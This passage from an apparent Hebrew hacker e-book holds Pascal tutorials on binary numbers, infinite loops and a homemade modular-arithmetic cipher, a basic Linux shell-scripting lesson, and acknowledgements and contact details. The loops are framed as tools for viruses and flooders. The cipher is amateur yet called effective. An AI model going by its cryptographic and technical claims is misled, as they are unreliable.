הבינארי 1כדי שבחיבור הבא נוכל להוסיף אותו.
598
ייצוג מספרים שליליים
מייצוג המספרים השליליים ובכלל מהשיטה הבינארית ,ניתן להסיק שתי מסקנות
חשובות מאוד .מסקנות אלה הן הגדרות הקשורות לשיטה הבינארית .טוב ,ההגדרה
הראשונה נקראת ,Msbקיצור של .Most Significent Bitהגדרה זו אומרת בעצם
שהסיבית (ביט) המשמעותית ביותר בערך הבינארי היא הסיבית השמאלית ביותר
בערך (שתקבע האם הערך חיובי או שלילי) .ההגדרה השנייה בשיטה הבינארית,
נקראת ,Lsbקיצור של .Least Significent Bitהגדרה זו אומרת בעצם שהסיבית
הכי פחות משמעותית בערך הבינארי היא הסיבית הימנית ביותר (שתקבע האם הערך
הבינארי הנתון הוא זוגי או אי זוגי).
מסקנה :אם נזיז את כל הביטים בערך הבינארי מקום אחד שמאלה ונוסיף את הערך
אפס בינארי בערך מימין ,המספר יגדל פי שתיים .דוגמא :הערך הבינארי 100
בשיטה הדצימלית הוא ,4אבל אם נוסיף לו 0מימין הוא יהפוך לערך ,1000
שבשיטה הדצימלית הוא מיוצג על ידי .8טוב ,עכשיו בואו ננסה הפוך ,אז ניקח
ערך בינארי מקום אחד ימינה ,וייתקבל החילוק שלו בשתיים ,אבל בלי שארית.
עכשיו ניתן דוגמאות למספר זוגי שנחלק אותו בשתיים ,ולאחר מכן ניקח מספר
אי זוגי שאותו נחלק בשתיים .טוב ,הערך הבינארי ( 1000שמיוצג על ידי הספרה
8בדצימלית) ,יהפוך לערך ,100שבעצם מיוצג על ידי הספרה 4בדצימלי .טוב,
דוגמא למספר אי זוגי הוא הערך הבינארי ( 111שמיוצג על ידי הספרה 7בשיטה
הדצימלית) ,יהפוך לערך ,11שבעצם מיוצג על ידי הספרה 3בדצימלית .הזזה זו
של חילוק בשתיים נקראת באנגלית ובשפות תיכנות מסויימות בשם .Shift
מילים לסיום
אני רוצה להגיד שלא כיסינו הכל בבינארי כאן ,עוד לא עשינו חיסור ,וגם לא
עשינו עדיין כפל או חזקות (שבהם יש שימוש בלוגריתמים) .בקיצר ,יש עוד די
הרבה ללמוד .אני מקווה שלמדתם .שלכם,
Crossbow
599
המדריך ללולאות אינסופיות
טוב ,כידוע לכולכם ,בעולם ההאקינג ידע בתיכנות הוא כלי חזק .בניית סוסים
טרוייאנים ,בניית וירוסים ,בניית פלודרים וכאלה ,הכל הם כלים חזקים ומאוד
מסוכנים .ידע בתיכנות גם מעלה את הכבוד שלך בתור האקר .לדוגמא :אם אני
אשתמש בטרוייאני שמישהו אחר בנה ,זה יהיה מאוד ליימרי ומאוד לא מקצועי.
איך נהפוך את זה למקצועי? נתכנת אחד משלנו ,ונשתמש בו .כמעט כל מה שהאקר
משתמש בו והוא תוכנה ,הוא גם יצר אותה .היום אני הולך ללמד אתכם כלי מאוד
חשוב בפלודרים ובוירוסים למיניהם ,שקוראים לו לולאות אינסופיות .במדריך
זה אני אשתמש בשפת פסקל ,אבל משתמשי סי וסי פלוס פלוס יוכלו להבין את
העקרון (כי פסקל דומה מאוד מאוד לסי) ,ולמשתמשי דלפי בכלל לא תהיה בעייה.
;VAR VarX:longint
BEGIN
FOR VarX := 1 TO 5 DO
BEGIN
;)WriteLn ('Loop #', VarX
;END
.END
הסברים
הלולאה בעצם סופית ,מסוג לולאת פור .הלולאה משתמשת באוגר AXכדי לספור את
המשתנה של הלולאה (במקרה הזה ,הוא מיוצג בשם ,)VarXולהעלות אותו כל פעם
באחד .ברגע שמתקיים השוויון VarX = 5אז הלולאה נגמרת ,והתוכנית מסתיימת.
עכשיו ,בואו נחשוב מה ייקרה אם ייתקיים שהמשתנה גדול מחמש .נראה בעצם
מאוד בלתי אפשרי ,אבל בת'כלס קל מאוד .תראו את הקוד הבא (קונטרול ושיפט):
;VAR VarX:longint
600
BEGIN
FOR VarX := 1 TO 5 DO
BEGIN
;)WriteLn ('Loop #', VarX
;VarX := 11
;END
.END
הסברים
פה הלולאה תתקע על מספר ,12שעבר כבר את הטווח שלה .יכולנו להגיד לו בתוך
הלולאה שיעלה את המשתנה באחד כל פעם .לולאה זו הייתה נראית אינסופית ,אבל
בתיאורייה כאשר המשתנה יעבור את 2147483647הוא ייעבור את הגודל המקסימלי
של משתנה מסוג ,Longintואז התוכנית תצא בגלל שגיאה (אין מספיק זיכרון).
בגלל זה אנחנו משווים אותו למספר שמעל לטווח שלו ,אבל גורמים לו להתאזן
ולא לעבור את הגבלת הזיכרון .בואו נעבור על עוד לולאה אינסופית (קונטרול ושיפט):
;LABEL 1
BEGIN
;)'.WriteLn ('You cannot stop us :1
;GOTO 1
.END
הסברים
אוקיי .פה אנחנו מנצלים משהו שפשוט קיים בכל שפת תיכנות ,לולאת תווית.
תווית היא מיקום מסויים בזיכרון של התוכנית (כמו באסמבלי) .עכשיו ,אנחנו
יכולים להגיד לתוכנית מתי לעבור למיקום הזה על ידי ציונו .פה למשל ,יש
לנו תווית שמיוצגת על ידי הספרה .1עכשיו ,בתווית יש לנו מקום לשים משהו,
קריאה לפקודה למשל .פה הפקודה היא פלט מסויים .לאחר הפלט אנחנו עוברים
שוב לתווית ,ואז הפלט שוב מתבצע ואז אנחנו שוב עוברים לתווית ...אפקט זה
מתבצע בזכות העובדה שבזמן הרצה של תוכנית ,המעבד מריץ אותה שורה אחר שורה
כך שהתוכנית נכנסת למצב שפשוט היא נתקעת .פשוט וקל .עוד דבר פשוט הוא
תנאי שלא מתקיים .שימו לב לקוד המקור הבא (קונטרול ושיפט):
;VAR VarX:string
BEGIN
REPEAT
;)'!!!WriteLn ('Unstopable
;'VarX := 'B
;'UNTIL VarX = 'A
.END
הסברים
601
פה הלולאה חוזרת על עצמה ,עד שהתנאי 'VarX = 'Aמתקיים .מכיוון שהתנאי לא
יכול להתקיים (כי הוא שווה למשהו אחר) ,הלולאה תחזור על עצמה לעולם .עוד
לולאה דומה היא לולאה כזאת (קונטרול ושיפט):
;VAR VarX:string
BEGIN
;'VarX := 'A
;)'!!!WHILE VarX = 'A' DO WriteLn ('Unstopable
.END
הסברים
פה זה בדיוק ההפך .כל עוד מתקיים התנאי ,הלולאה תמשיך ,ולפי התוכנית שלנו
התנאי בעצם לא יישתנה ,כך שהלולאה תהיה אינסופית.
מילים לסיום
טוב ,פה אני מסיים את המאמר .אני מקווה שהבנתם כמה זה חשוב ללמוד תיכנות
בעסקי ההאקינג .אני מזהיר אתכם עם כל הרעיון של לולאות אינסופיות ,אחרי
שלולאה סופית רצה מספיק זמן היא דופקת לכם ת'מערכת .טוב ,אני מקווה שאתם
תשתמשו בידע הזה ללמידה בלבד .שלכם,
Crossbow
602
בסיס הארימטריקה המודולרית
היום אני אלמד את כולכם איך לעזאזל מתימטיקה קשורה לתיכנות .עד היום אתם
בניתם תוכניות פשוטות ,בלי לחשוב יותר מדי ,הכל היה קטע גרפי בעיקר ,ולפי
מה שראיתי עד היום ,המקסימום שהאקר ישראלי (מהקהילה שיצרנו) בונה ואיכשהו
קשור למתימטיקה ,הוא איזה מחשבון או מתרגם בינארי להקסדימלי .עכשיו אנחנו
הופכים ממתכנתים מתחילים ,למתכנתים מתקדמים .היום אני אעבוד איתכם בשפת
פסקל ,אבל פסקל דומה לסי ,ודלפי פשוט בנויה על פסקל ,כך שהעיקרון תמיד
יהיה שם .טוב ,מתחילים .בתור התחלה אני אלמד אתכם שתי פונקציות מתימטיות
בתיכנות :חילוק ,ושארית.
חילוק
החילוק הוא הפקודה .Divמה שמבדיל בין החילוק הזה ,לבין חילוק בסלאש רגיל
שעד עכשיו השתמשתם בו ,הוא שהחילוק הזה לא מחזיר שארית .אז ,הנה התוצאות,
של שתי פונקציות החילוק ,שימו לב להשוואה ביניהן (קונטרול ושיפט):
מבינים? תוצאת החילוק בסלאש מחזירה שארית ,לעומת החילוק ללא שארית.
עכשיו אנחנו נלמד את הפונקצייה המתימטית ההפוכה.
מודולו
603
אפס ,כי החילוק באפס אסור .לדוגמא ,השורה הבאה תחזיר שגיאה מספר :200
מבחן עצמי
המון חומר עכשיו עכלתם ,ובשביל שתהיו קצת יותר בטוחים בעצמכם ,בניתי לכם
מבחן קטן ,שקשור בשתי הפונקציות שלמדנו .הזמן למבחן הוא 40דקות ,אין
להריץ את התוכנית עד שלא סיימתם לכתוב .המבחן כולל שתי שאלות:
שאלה ראשונה
כתבו תוכנית הכותבת משוואת כפל המקבלת שתי מספרים ,ומחזירה שארית .דוגמא
לפלט על המסך:
33 = 10 * 3 + 3
100 = 50 * 2 + 0
שאלה שנייה
כתבו תוכנית המקבלת שני מספרים ,מחברת אותם ואז מחזירה את השארית שלהם
כפונקצייה כחילוק במכפלתם .דוגמא לפלט על המסך:
הנה התשובות
טוב ,לא ציפיתם להישאר תקועים .יכול להיות שהתשובות שלכם קצת שונות ,אבל
כל עוד זה פועל ,זה טוב ,אבל התוכניות שיוצגו כאן חוסכות בכוח מכונה.
שאלה ראשונה
(קונטרול ושיפט)
;VAR VarX, VarY:longint
BEGIN
;)':WriteLn ('Write the first number
;)ReadLn (VarX
;)':WriteLn ('Write the second number
;)ReadLn (VarY
;))WriteLn ((VarX * VarY) mod (VarX + VarY
.END
שאלה שנייה
(קונטרול ושיפט)
;VAR VarX, VarY:longint
BEGIN
;)':WriteLn ('Write the first number
;)ReadLn (VarX
;)':WriteLn ('Write the second number
;)ReadLn (VarY
604
;)WriteLn ((VarX mod VarY), ' + ', (VarX div VarY), ' * ', VarY, ' = ', VarX
.END
ההצפנה
טוב ,פה אנחנו נצפין רק מספרים ,אבל יש לנו בעייה :אסור לעשות פונקציית
מודולו באפס ,וגם באחד ,כי מודולו באחד הוא תמיד אפס ,כי כל מספר מתחלק
באחד בלי שארית .אז האלגוריתם הוא ככה (קונטרול ושיפט):
הסבר
605
אפס ,או הוא עצמו מחזיר שארית שאיננה שווה לאפס ,או במשוואה מתימטית (קונטרול
ושיפט):
הפיענוח
הפענוח הוא פעולה הפוכה להצפנה .אם בהצפנה קודם קיבלנו ספרה ,לאחר מכן
אנחנו יישמנו פונקציית מודולו ,ולאחר מכן הוצאנו תוצאה מוצפנת ,אז לשם
פיענוח נצטרך לקבל תוצאה מוצפנת ,ליישם פונקצייה ההפוכה לפונקציית ההצפנה
שהיא בעצם פונקצייה מודולרית ,ואז להוציא את התוצאה .במקרה זה לפיענוח
אין פתרון ,מכיוון שיש שני מקרים שההצפנה מחזירה ערך של .3לא לכל סוגי
ההצפנות יש פתרון ,ולפעמים משתמשים בפונקציות ובמשוואות הפוכות מסובכות
מאוד ,ואפילו מתמטיקאים בטכניון וכל אלה שוברים ת'ראש על אלגוריתם אחד.
מילים לסיום
זה היה הבסיס לארימטריקה מודולרית .אני מקווה שהיום הוכחתי לכם שמחשבים
זה הרבה יותר מגרפיקה ממש ממש ממש טובה וכמה תוכניות שבנויות ממספר קטן
מאוד של שורות ,כמו תוכניות בנות שמונים שורות .אני נותן פה אתגר לכולכם:
בנו תוכנית המצפינה את כל סוגי האסקיי במקלדת .התוכנית תהיה בנויה בפסקל,
ותכלול קוד מקור .כל קוד מקור מוזמן להישלח אליי לאי מייל .אתם תצטרכו
ידע מסויים בקי אסקיי ,ארימטריקה מודולרית בסיסית ,וידע למתחילים בפסקל.
הרעיון הוא לא על היכולת הגרפית של התוכנה (כי אז היינו משתמשים בסי פלוס
פלוס או ויזואל בייסיק)( ,קונטרול ושיפט)
BEGIN
;)'WriteLn ('f(0) = X
אלא על ההצפנה עצמה ועל שימוש בכמה שפחות זיכרון
לביצוע שיטת ההצפנה .אם אתם שולחים אליי ,בבקשה ,כתבו בנושא ההודעה .Cross
רמז :נסו להשתמש בפונקצייה מסויימת שמחזירה את ערך האסקיי של תו כלשהו.
שלכם,
Crossbow
606
אריתמטקה מודולרית מתקדמת
טוב ,היום אני הולך ללמד אתכם אריתמטיקה מודולרית מתקדמת .היום אנחנו
נמציא שיטת הצפנה חדשה בעזרת האריתמטיקה המודולרית .עכשיו ,שיטת הצפנה
עובדת עם איזון מסויים :ככל שהטקסט גדול יותר ,ההצפנה טובה יותר .עכשיו,
מכיוון שאנחנו לא רוצים שכל אות בטקסט שלנו תהפוך למאה אותיות ,ואנחנו גם
לא רוצים שאנשים ייגלו את האלגוריתם שלנו בקלות ,נבדוק מה אנחנו צריכים
שיהיה באות מוצפנת .עכשיו ,ישנם 255תווים בתוך טבלת האסקיי ,ומכיוון
שאנחנו משתמשים באריתמטיקה מודולרית ,אנחנו צריכים למצוא מספר (שאותו אני
אייצג כאן בתור ,)Xשיחזיר את הערך של המודולו (שארית) מערך האסקיי של
האות הנתונה .עכשיו יש לנו ברשימה שלושה שלבים :הפיכת האות לערך אסקיי,
הצפנת ערך האסקיי על ידי אריתמטיקה מודולרית ,והצגת האות שהתקבלה מהערך
המוצפן .עכשיו עלתה בעייה :אם נגיד ניקח מספר ( Xשיחזיר את השארית מערך
האסקיי של האות) ,הוא יהיה צריך להיות מספר שמחזיר שארית שונה לגבי כל
ערך אסקיי נתון .כלומר ,אסור שיהיו שני ערכים מוצפנים שווים .אחרי המון
המון המון חיפושים נואשים של מספר כזה ,גיליתי והוכחתי בדרך אלגברית שלא
קיים בכלל מספר כזה .טוב ,הנה ההוכחה .אני מזכיר שהמספר הוא ייוצג באות
האנגלית ,Xולאחר ההוכחה הסברים:
הסברים
כאן ההסבר הוא במקרה שהמספר Xהוא אי זוגי .השארית של כל מספר מאחד תהיה
תמיד אפס ,השארית של כל מספר זוגי משתיים תמיד תהיה אחד .השארית של כל X
מערך הקטן מהערך Xבאחד (כל עוד Xגדול מאחד) תהיה אחד .נסו להציב מספר
טבעי שגדול מאחד ולבדוק .עכשיו יכולה להשאל השאלה מה קורה כאשר Xהוא
מספר זוגי? עכשיו ,הנה ההוכחה לזה:
607
הסברים
כאן ההסבר ברור .אם Xהוא זוגי אז השארית של המספר שתיים ממנו הוא אפס,
וגם השארית של המספר אחד ממנו הוא אפס .כפילות היא דבר אסור בהצפנה ,כי
המפרש לא יידע איזה ערך אסקיי הוא יכניס במקום הערך הכפול .עכשיו ,אנחנו
נצטרך גם לשנות את :Xכלומר X ,יישתנה בהתאם לטווח מסויים .עכשיו ,כל פעם
לקחתי את המספר מהמספר 1עד למספר ,255וכל פעם לקחתי את ערך Xהמקסימלי
שיכול להיות כדי שלא תיווצר כפילות .יצא לי דבר כזה:
הסברים
שימו לב לקשר בין כל :Xכל פעם התדירות להשתמש בערך Xיותר גדול יורדת כל
פעם פי שתיים .שימו לב גם כל הטווח המקסימלי הוא תמיד ערך אחד פחות מהערך
של .Xעכשיו ,אנחנו צריכים לציין באיזה ערך Xאנחנו השתמשנו .אז חשבתי
על תו האסקיי של ערך ,Xאבל ערך 384לא קיים בטבלת אסקיי (ערך הגדול
מהמספר 255חוזר על טבלת אסקיי מחדש) ,אז חילקתי אותם לפי סדר כרונולוגי
של האותיות האנגליות ,ולכן הטבלה תהיה :
בקיצר ,התרגום של ערך Yלערך Xיהיה מאוד פשוט ויבוסס על תנאים .עכשיו
אפשר להגיד שכבר יש לנו הרבה יותר שלבים שההצפנה מבצעת :תרגום ערך האסקיי
של האות ,קביעת ערך Xעל פי ערך האסקיי ,קביעת ערך Yעל פי ערך ,Xהצפנה
של ערך האסקיי על פי אריתמטיקה מודולרית בערך ,Xוהצגה של הפרטים .כדוגמא
לסיום אני מציג כאן קוד מקור בשפת פסקל שמקבלת אות ומציגה את הערך המוצפן
שלה בפלט .התוכנית תמשיך עד שהמשתמש לחץ על מקש ...Escapeהנה קוד המקור
של התוכנית ,שמוצג גם עם הסברים (קונטרול ושיפט):
608
)* VarY:integer; (* One integer variable
)* VarZ:char; (* One character variable
)* BEGIN (* Begins the procedure
IF (Ord (VarX) = 1) OR (Ord (VarX) = 2) THEN VarZ := 'a'; (* Translation #1
)*
IF (Ord (VarX) >= 2) AND (Ord (VarX) < 6) THEN VarZ := 'b'; (* Translation
)* #2
IF (Ord (VarX) >= 6) AND (Ord (VarX) < 12) THEN VarZ := 'c'; (* Translation
)* #3
IF (Ord (VarX) >= 12) AND (Ord (VarX) < 24) THEN VarZ := 'd'; (*
)* Translation #4
IF (Ord (VarX) >= 24) AND (Ord (VarX) < 48) THEN VarZ := 'e'; (*
)* Translation #5
IF (Ord (VarX) >= 48) AND (Ord (VarX) < 96) THEN VarZ := 'f'; (*
)* Translation #6
IF (Ord (VarX) >= 96) AND (Ord (VarX) < 192) THEN VarZ := 'g'; (*
)* Translation #7
)* IF Ord (VarX) >= 192 THEN VarZ := 'h'; (* Translation #8
IF VarZ = 'a' THEN VarY := 3; (* The character is defined according to the
)* ascii code
IF VarZ = 'b' THEN VarY := 6; (* The character is defined according to the
)* ascii code
IF VarZ = 'c' THEN VarY := 12; (* The character is defined according to the
)* ascii code
IF VarZ = 'd' THEN VarY := 24; (* The character is defined according to the
)* ascii code
IF VarZ = 'e' THEN VarY := 48; (* The character is defined according to the
)* ascii code
IF VarZ = 'f' THEN VarY := 96; (* The character is defined according to the
)* ascii code
IF VarZ = 'g' THEN VarY := 192; (* The character is defined according to the
)* ascii code
IF VarZ = 'h' THEN VarY := 384; (* The character is defined according to the
)* ascii code
WriteLn (VarZ, Chr (VarY MOD Ord (VarX))); (* Writes the character plus
)* the masked character
)* END; (* Ends the program
)* BEGIN (* Begins the procedure
)* ClrScr; (* Clears the screen
)* REPEAT (* Repeats the loop's code
)* VarX := ReadKey; (* Defines the character as the pressed key
)* Mask; (* Maskes the character
)* UNTIL Ord (VarX) = 27; (* Until Escape key was pressed
)* END. (* Ends the program
מילים לסיום
אני מקווה שלמדתם עוד על אלגוריתמים ועל איך מתכנת בונה לעצמו שיטת הצפנה
היא מכפילה את גודל הטקסט פי, אפשר לפתח את השיטה שהצעתי כאן.אפקטיבית
, שלכם. כך שהיא חוסכת גם זיכרון,שתיים מהמקור
609
Crossbow
תיכנות Shellבלינוקס
טוב ,האמת היא שזהו נושא רחב מאוד ,אני לא אספיק להסביר אפילו רבע ממנו
בטקסט אחד ,אבל שיהיה...
הכתבה מכילה:
מה זה שאלל?
בחירת המעטפת.exit, sh :
הכנסת פקודות ידועות בלינוקס.chmod, test :
שימוש בתנאים.if, else, fi, then :
שימוש בלולאות.
טוב ,שאלל ,זה מעטפת .המעטפת מקשרת בעצם בין פקודות המשתמש לבין הגרעין.
לדוגמא ,אתה מכניס את הפקודה .Dirהמעטפת מזהה שזאת פקודה חוקית ומתרגמת
את הפקודה שהכנסת לתוך הגרעין ,למידע שמובן לו .הגרעין ,הקרנל ,מבצע את
הפעולה שקיבל .הפעולה עוברת לפלט על המסך .מכיוון שבלינוקס יש המון סוגי
מעטפות ,עליך להגדיר באיזו מעטפת תשתמש .טוב ,תפתחו את העורך שלכם .אם
אתם משתמשים במצב הטקסטואלי ,הייתי ממליץ על פיקו .Picoעכשיו ,הדבר
הראשון שנעשה הוא להגיד לתוכנית מעטפת באיזה מעטפת נשתמש .פה אני יוצא
מנקודת הנחה שרובכם משתמשים בבאש .Bashטוב ,השורה הראשונה בכל קובץ שאלל
הוא הצהרה באיזה מעטפת נשתמש .אם אנחנו רוצים להשתמש בבאש ,השורה הראשונה
שלנו תיראה ככה (קונטרול ושיפט):
bin/sh/!#
הסבר :סימן הסולמית #בשורה הראשונה מגדיר את המעטפת ,אך כל שורה עם
סולמית בהתחלתה תהיה הערה ,והמעטפת תתעלם ממנה .בסוף הקוד מכניסים את
המילים .exit 0הפקודה exitהיא בעצם יוצאת מהסקריפט בכל שלב שהיא מצוינת
אבל כותבים אותה גם בסוף ,לציון סוף הסקריפט .פה נראה קוד לדוגמא של הרצה
של הקובץ blablaלכל המשתמשים בלינוקס (קונטרול ושיפט):
bin/sh/!#
610
chmod a+x blabla
exit 0
הסברים :פה יש לנו שימוש בפקודת לינוקס ,chmodשפירושה הוא לשנות מצב
לקבוצה או משתמש .האות הראשונה שבאה אחרי chmodמציינת יעד משתמשים .האות
האנגלית ,uקיצור של ,userמציינת את המשתמש שהקובץ בבעלותו .האות ,gשזה
קיצור של ,groupמציינת את כל המשתמשים בקבוצה של בעל הקובץ .האות ,oשזה
קיצור של ,otherמציינת את כל המשתמשים האחרים .האות ,aקיצור של ,Allזה
בעצם מכוון לכל המשתמשים הרשומים במערכת ההפעלה .ההרשאות :יש הרשאת כתיבה
שזה ,wקיצור של ,writeיש ,rקיצור של ,readעבור קריאה ,ויש ,xנגזר
מהמילה ,executeשפירושה הרצה .סימן פלוס ביניהן נותן הרשאות ,והסימן
מינוס ביניהן שולל את ההרשאות.
טוב ,עכשיו אנחנו ננסה להריץ את הקובץ .שמרו את הקובץ .אחרי זה תנווטו
לתיקייה שבה הקובץ ששמרתם נמצא ,כתבו את השם שלו בשורת הפקודה ,והמעטפת
כבר תריץ אותו.
שימוש בתנאים
טוב ,שימוש בתנאים הוא לא קשה .הרעיון הוא שאם תנאי מתקיים אז קורה משהו,
ויש גם את האפשרות להכניס קוד אם התנאי לא מתרחש .עכשיו נשתמש בפקודת
לינוקס ששמה .testפקודה זו מזהה אם הקובץ הוא קובץ רגיל ,ספרייה ,סוקט,
קובץ בר הרצה ,או קובץ ריק .הפקודה אפילו יכולה להשוות קובץ אחד לאחר.
כדי לשלול תנאי ,מקיפים אותו בסוגריים ולפניהם סימן קריאה ,בניגוד לשפות
תיכנות אחרות ,שבהן פשוט משתמשים במילה ,Notשפירושה לא .הנה דוגמא לתנאי
רגיל ,שלא שללו אותו (קונטרול ושיפט):
bin/sh/!#
if test -r $1
then
echo file $1 exists
fi
הסבר :הפקודה ifהיא הצהרה על תנאי test -r .זה הצהרה אם הקובץ שאחרי הוא
קיים וניתן לקריאה $1 .הוא ארגומנט ,כלומר משתנה שנכנס בשורת הפקודה .יש
לנו אחרי זה את המילה ,thenשהיא הצהרה על התחלת הקוד במקרה שהתנאי נכון.
הפקודה echoכותבת מה שאחריה .המילה fiהיא סוף קוד התנאי .עכשיו ניתן
דוגמא למצב שבו יש הודעה רק אם הקובץ לא קיים (קונטרול ושיפט):
bin/sh/!#
)if !(test -r $1
then
echo file $1 does not exists
fi
הסבר :פה אנחנו פשוט שללנו את התנאי ,כלומר ,אם התנאי לא מתקיים אז...
עכשיו ננסה לשלב את שני הקודים למעלה (קונטרול ושיפט):
bin/sh/!#
if test -r $1
611
then
echo file $1 exists
else
echo file $1 does not exists
exit 1
fi
exit 0
הסבר :המילה elseהיא בעצם מה קורה אם המציאות הפוכה ממה שכתוב בתנאי
למעלה ,כלומר ,אם הארגומנט לא קיים ,אז תכתוב שהקובץ לא קיים ,ותצא מהקוד
במצב .1מבחינת הקוד ,כאשר הקוד מסתיים באפס ,פירושו אין שגיאות .מספר
אחר מאפס פירושו שנתגלתה שגיאה .במקרה שלנו ,שגיאה מספר אחד.
שימוש בלולאות
טוב ,כמו בכל שפת תיכנות ,יש יותר מסוג אחד של לולאה .היום נלמד לולאת
תנאי ולולאת רשימה.
הלולאה מורכבת כך :קודם יש הצהרה על סוג הלולאה ,אחרי זה יש תנאי .כל עוד
התנאי מתקיים ,הלולאה ממשיכה .אחרי זה יש את המילה doלציון פתיחת הלולאה
אחרי זה יש את קוד הלולאה ,ואחרי זה המילה doneלציון סוף הלולאה .הנה
דוגמא לשימוש בלולאת ( Whileקונטרול ושיפט):
bin/sh/!#
Counter=1
] while [ $Counter -lt 5
do
echo $Counter
'Counter='expr $Counter + 1
done
exit 0
המבנה של לולאת פור בתוך תוכנית שאלל שונה מאוד מלולאת פור בשפות תיכנות
אחרות .ברוב שפות התיכנות ,לולאת פור מעלה כל פעם מספר .בתיכנות שאלל
לעומת זאת ,הלולאה מבוצעת פעם אחת לכל פריט ברשימה מסויימת .לדוגמא ,הנה
סקריפט שמראה את כל הארגומנטים שהוכנסו (קונטרול ושיפט):
bin/sh/!#
for Argument
do
echo $Argument
done
612
exit 0
טוב ,יאללה ,מקווה שהבנתם משהו ממה שכתבתי .אני חוזר עוד פעם ואומר שאי
אפשר ללמוד שפת תיכנות ,אפילו קלה כמו תיכנות שאלל ,ביום אחד .כל הרעיון
של תיכנות שאלל ,בנוי ברובו על פקודות לינוקס רגילות .אפשר אפילו להגיד
שתיכנות שאלל דומה לקבצי אצווה :אף אחד מהם לא דורש קימפול ,הם שניהם
מבוססים על פקודות במערכת ההפעלה ,קבצי אצווה על אם אס דוס ,וקבצי שאלל
על פקודות בלינוקס .טוב ,אז אם יש לכם משהו להגיד ,תתפסו אותי באי מייל
או באייסיקיו .הכתבה הזאת שייכת כמובן להאק דה פלנט ,ואין לאף אחד רשות
להפיץ אותה ...אז תהנו ,שלכם,
Crossbow
תודות
זהו אין יותר עבודה עד 2:30בלילה – עכשיו נשאר רק לכתוב תודות ():
קודם כל אני חייב להודות למי שלימד אותי מחשבים והאקינג ובגללו אני יכול ללמד אותכם :
תודה לצוות אתר גיהנום ,אחלה אתר – תמיד תוכלו ללמוד משם דברים חדשים – כתובתו היא :
http://www.gehenom.co.il
GeHeNoM, Blood Runner, Rul3r, Pirs[i]ng, E-Man , AiTi , Dr.Brain , Jacob, Asc,
Batman911, Sbh, CaTax, Bentz, y0g1 b3ar, IceFire3k, Rel8t, Milki, AKA, VB-Man,
Cool-Guy, Zeos, BoR|S, waMaw, PancherMaher, Boba Smith, ^Dak0Da^, ZeBra,
. Vortex, The-Mod, NDR311, Counter and to all the hackers in the world
פנצ'ו ,ניב ואשד ( התותחים הכי כבדים ),יוליה ,אלה ,גלה ,גלית ,אלי ,בן-לאדן ( השובב)
ותודה ענקית אחרונה למפכ"ל המשטרה (. :
613
צרו קשר
שלום .
הכל טוב ?
אני לא מבטיח לענות לכל אחד אבל מבטיח לנסות אז ככה ...
אני הולך לפרסם את האי סי קיו שלי ואני יודע שהוא הולך להיות מוצף באנשים אז חבר'ס
בבקשה אל תעלבו אם אני לא עונה ...יש לי עכשיו קרוב ל 30אנשים און-ליין ...
614
לתגובות ,להסביר כמה שאת\ה אוהבת אותי או כמה שאת\ה שונאת אותי – בקיצור כל מה שלא
קשור לשאלות שלחו לי ל :
razor@inbox.net
hacker@asm.net
ומי שרוצה להצטרף לכותבי הספר הבא ( כנראה שנה הבאה ) אנא שלחו כתבות גם ל :
razor@inbox.net
אם תרצו ליצור קשר עם אחד ההאקרים\קראקרים האחרים בספר שלחו לי הודעה עם השאלה
ואני כבר יצור את הקשר בניכם ...
שלי ()HFM
HFM@2die4.com
סוף דבר
זהו זה עומד להסתיים עוד כמה רגעים ,החלום שלי יתגשם סוף סוף
והספר יופץ ברחבי הנט .
הספר הזה נכתב בשביל שלכם\ן יהיה את הכוח לדעת ,מי שקרא את הספר הוא לא האקר -
בשביל להיות האקר את\ה צריך\ה ללמוד עוד הרבה דברים ,בעיקר לשנות את דפוסי ההתנהגות,
פעם שאלו אותי איך זה להיות האקר וכך אמרתי :
האם ראיתם את הסרט ? Hackersאם כן זה דיי דומה אבל החלק השונה הוא שלרוב הפריצות
הם הרבה יותר קשות אבל הקטעים עם החברים והטלפוניה מזכירים במקצת את התרבות שלנו –
אני ממליץ לכולם לראות את הסרט ולהבין .
אני מבקש מכל ממך להפיץ את הספר לכמה שיותר אנשים וזה רק בגלל שהרעיון של הספר הוא
הפצת המידע בחינם לכל דורש .
615
By RAZOR
גם החלום שלי יתגשםהמשחתי את REZORוהוספתי עוד 400ומשהוא עמודים
אני "מזיל" דמעות מרוב אושר
אוהב אותכם
By HFM
EOF
616